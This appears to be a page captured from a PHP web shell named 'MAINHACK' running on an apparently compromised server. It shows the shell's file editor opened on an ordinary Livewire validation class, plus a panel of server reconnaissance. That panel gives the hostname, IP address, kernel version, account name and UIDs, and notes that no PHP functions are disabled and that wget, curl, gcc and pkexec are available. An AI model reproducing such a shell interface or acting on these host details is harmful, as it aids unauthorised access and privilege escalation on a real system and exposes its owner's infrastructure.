[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BaseValidate.php
<?php namespace Livewire\Features\SupportValidation; use Attribute; use Illuminate\Auth\Events\Validated; use Livewire\Features\SupportAttributes\Attribute as LivewireAttribute; use function Livewire\wrap; #[Attribute(Attribute::IS_REPEATABLE | Attribute::TARGET_ALL)] class BaseValidate extends LivewireAttribute { function __construct( public $rule = null, protected $attribute = null, protected $as = null, protected $message = null, protected $onUpdate = true, protected bool $translate = true ) {} function boot() { // If this attribute is added to a "form object", we want to add the rules // to the actual form object, not the base component... $target = $this->subTarget ?: $this->component; $name = $this->subTarget ? $this->getSubName() : $this->getName(); $rules = []; if (is_null($this->rule)) { // Allow "Rule" to be used without a given validation rule. It's purpose is to instead // trigger validation on property updates... } elseif (is_array($this->rule) && count($this->rule) > 0 && ! is_numeric(array_keys($this->rule)[0])) { // Support setting rules by key-value for this and other properties: // For example, #[Validate(['foo' => 'required', 'foo.*' => 'required'])] $rules = $this->rule; } else { $rules[$this->getSubName()] = $this->rule; } if ($this->attribute) { if (is_array($this->attribute)) { $target = $this->subTarget ?? $this->component; $target->addValidationAttributesFromOutside($this->attribute); } else { $target->addValidationAttributesFromOutside([$name => $this->attribute]); } } if ($this->as) { if (is_array($this->as)) { $as = $this->translate ? array_map(fn ($i) => trans($i), $this->as) : $this->as; $target->addValidationAttributesFromOutside($as); } else { $target->addValidationAttributesFromOutside([$name => $this->translate ? trans($this->as) : $this->as]); } } if ($this->message) { if (is_array($this->message)) { $messages = $this->translate ? array_map(fn ($i) => trans($i), $this->message) : $this->message; $target->addMessagesFromOutside($messages); } else { // If a single message was provided, apply it to the first given rule. // There should have only been one rule provided in this case anyways... $rule = head(array_values($rules)); // In the case of "min:5" or something, we only want "min"... $rule = (string) str($rule)->before(':'); $target->addMessagesFromOutside([$name.'.'.$rule => $this->translate ? trans($this->message) : $this->message]); } } $target->addRulesFromOutside($rules); } function update($fullPath, $newValue) { if ($this->onUpdate === false) return; return function () { // If this attribute is added to a "form object", we want to run // the validateOnly method on the form object, not the base component... $target = $this->subTarget ?: $this->component; $name = $this->subTarget ? $this->getSubName() : $this->getName(); // Here we have to run the form object validator from the context // of the base "wrapped" component so that validation works... wrap($this->component)->tap(function () use ($target, $name) { $target->validateOnly($name); }); }; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002